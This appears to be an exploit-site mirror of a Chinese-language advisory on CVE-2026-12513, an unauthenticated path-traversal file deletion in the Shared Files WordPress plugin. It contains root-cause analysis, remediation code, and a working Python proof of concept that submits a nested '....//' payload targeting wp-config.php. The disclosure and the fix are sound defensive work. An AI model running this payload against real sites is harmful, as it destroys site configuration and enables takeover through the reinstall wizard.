Sploitus

Exploit for CVE-2026-12513

kitploit · 2026-08-30

Exploit Code

MARKDOWN191 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MINHHK68-CVE-2026-12513
# CVE-2026-12513:Shared Files < 1.7.68 — 未认证任意文件删除(路径遍历)

![CVE Identifier](https://img.shields.io/badge/CVE-2026--12513-orange.svg) ![CVSS v3.1 Score](https://img.shields.io/badge/CVSS%20v3.1-6.8%20Medium-yellow.svg) ![Discovered By](https://img.shields.io/badge/Discovered%20By-Huynh%20Kien%20Minh-blue.svg) ![WPScan Verified Advisory](https://img.shields.io/badge/WPScan-Verified%20Advisory-brightgreen.svg) ![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)

* * *

## 📖 公告概述

CVE-2026-12513 是一个影响 Shared Files 和 Shared Files Pro WordPress 插件(版本低于 1.7.68)的未认证任意文件删除漏洞,通过路径遍历实现,由网络安全研究员 Huynh Kien Minh(MinhHK)发现并分析。该缺陷存在于插件的前端文件提交处理流程中,用户提供的文件路径使用存在缺陷的单次遍历模式替换进行过滤,可通过嵌套序列(如 `....//`)绕过。因此,未认证的远程攻击者可以提交指向预期上传目录之外的被操纵路径,以攻击关键服务器资产,包括 `wp-config.php`。当管理员随后清除或永久删除上传条目时,应用程序会对存储的任意路径调用文件系统删除原语(`unlink()`)。这会导致核心 WordPress 配置文件被销毁,引发严重的拒绝服务,并通过未配置的安装设置实现站点接管。首席研究员 Huynh Kien Minh 在 CVSS 3.1 评分 6.8(中危)(CWE-73 / CWE-22)下评估了此漏洞,建议立即将插件更新至 1.7.68 或更高版本,并实施稳健的规范路径验证。

> **快速链接:** 探索研究员的官方网络安全作品集或查看 WPScan 已验证公告。

* * *

## 📌 执行摘要与技术元数据

* * *

## 🔍 深入技术分析与根本原因分析

该漏洞源于 Shared Files(`< 1.7.68`)前端文件提交处理程序中实现的路径清理机制不充分。

### 1\. 不充分的单次路径清理

在接受前端文件提交时,插件尝试使用单次字符串替换来剥离目录遍历序列(`../`):

root@kitploit:~
    
    
    // Shared Files < 1.7.68 中不安全的单次清理过滤器
    $file_path = str_replace( '../', '', $_POST['file_path'] );
    

由于 `str_replace()` 仅从左到右执行一次:

  * 嵌套遍历载荷:`....//....//....//wp-config.php`
  * 当从 `....//` 中剥离一次 `../` 时,外层字符会重新折叠在一起形成 `../`: 
    * `....//` -> `../`
  * 清理后的路径计算结果为:`../../../../wp-config.php`!



### 2\. 存储文件路径与删除执行链

  1. **未认证提交:** 攻击者向前端上传端点发送 HTTP 请求,提供嵌套遍历路径。被操纵的路径存储在数据库中(例如 `wp_posts` 或自定义插件表中)。
  2. **永久删除触发:** 当管理员通过 `/wp-admin/admin.php?page=shared-files` 审查提交或删除文件记录时,后端会对解析后的存储路径调用 `unlink()`:



root@kitploit:~
    
    
    // 易受攻击的删除逻辑
    $file_to_delete = WP_CONTENT_DIR . '/uploads/shared-files/' . $stored_file_path;
    if ( file_exists( $file_to_delete ) ) {
        unlink( $file_to_delete ); // 触发目标文件删除(例如 /var/www/html/wp-config.php)
    }
    

  3. **灾难性影响:** 一旦 `wp-config.php` 被删除: 
     * 数据库凭据和安全密钥丢失。
     * 站点立即进入未配置状态,显示 WordPress 安装向导(`/wp-admin/install.php`)。
     * 攻击者可以使用新数据库完成安装向导,实现完全远程代码执行(RCE)和站点接管。



* * *

## 💻 概念验证(PoC)漏洞利用代码

> **道德免责声明:** 此概念验证严格用于教育研究、防御性验证以及由 Huynh Kien Minh 在道德披露协议下进行的安全审计。

### Python 漏洞利用 PoC(`poc_cve_2026_12513.py`)

root@kitploit:~
    
    
    #!/usr/bin/env python3
    """
    CVE-2026-12513: Shared Files < 1.7.68 未认证路径遍历文件删除 PoC
    作者:Huynh Kien Minh (MinhHK) - https://minhhk.web.app/
    """
    
    import requests
    import sys
    
    TARGET_URL = "http://target-wordpress.local"
    UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"
    
    def trigger_traversal_payload(target_url, target_file="../../../../wp-config.php"):
        print(f"[*] 审计目标:{target_url}")
        
        # 嵌套遍历序列,绕过单次 str_replace('../', '', $input)
        nested_traversal = "....//....//....//....//" + target_file.lstrip("/")
        
        payload = {
            "action": "shared_files_frontend_upload",
            "file_name": "innocent_document.pdf",
            "file_path": nested_traversal
        }
        
        headers = {
            "User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-12513 Verification; Huynh Kien Minh)"
        }
        
        try:
            response = requests.post(UPLOAD_ENDPOINT, data=payload, headers=headers, timeout=10)
            print(f"[*] 提交响应状态:{response.status_code}")
            if response.status_code == 200:
                print("[+] 遍历路径成功注入数据库存储。")
                print("[!] 当管理员删除该条目时,目标文件将被 unlink。")
                return True
            else:
                print(f"[-] 请求失败,HTTP 状态:{response.status_code}")
        except requests.RequestException as e:
            print(f"[-] 连接失败:{e}")
            
        return False
    
    if __name__ == "__main__":
        url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
        trigger_traversal_payload(url)
    

* * *

## 🛡️ 修复与补丁分析

### 针对站点管理员

  * 立即将 **Shared Files** 和 **Shared Files Pro** 插件更新至版本 **`1.7.68`** 或更高版本。
  * 确保 `wp-config.php` 的文件系统权限对 Web 服务器进程为只读(`chmod 400` 或 `440`)。



### 针对开发者(安全实现)

使用 `realpath()` 和 `wp_normalize_path()` 强制实施严格的规范路径解析,确保操作保持在指定的上传边界内:

root@kitploit:~
    
    
    // 安全路径验证模式(版本 1.7.68+)
    function shared_files_safe_delete( $relative_path ) {
        $base_dir = wp_normalize_path( WP_CONTENT_DIR . '/uploads/shared-files/' );
        $target   = wp_normalize_path( realpath( $base_dir . $relative_path ) );
    
        // 确保解析后的 realpath 严格以指定的基础目录开头
        if ( false === $target || 0 !== strpos( $target, $base_dir ) ) {
            wp_die( __( '无效或未授权的文件路径。', 'shared-files' ), 403 );
        }
    
        if ( file_exists( $target ) && is_file( $target ) ) {
            unlink( $target );
        }
    }
    

* * *

## 🏆 关于研究员

**Huynh Kien Minh(MinhHK)** 是一名信息安全研究员,专注于 WordPress 漏洞研究、核心与插件安全审计以及防御性漏洞利用建模。

  * **网络安全作品集:** https://minhhk.web.app/
  * **WPScan 公告参考:** WPScan 报告 25c9fa21-c48b-4333-8abc-87230dc4c869
  * **GitHub 个人主页:** https://github.com/MinhHK68



* * *

## 📊 JSON-LD 结构化数据模式标记

root@kitploit:~
    
    
    {
      "@context": "https://schema.org",
      "@type": "TechArticle",
      "headline": "CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Arbitrary File Deletion via Path Traversal",
      "author": {
        "@type": "Person",
        "name": "Huynh Kien Minh",
        "url": "https://minhhk.web.app/"
      },
      "datePublished": "2026-08-30",
      "description": "Technical advisory by Huynh Kien Minh analyzing CVE-2026-12513 in Shared Files WordPress plugin.",
      "identifier": "CVE-2026-12513"
    }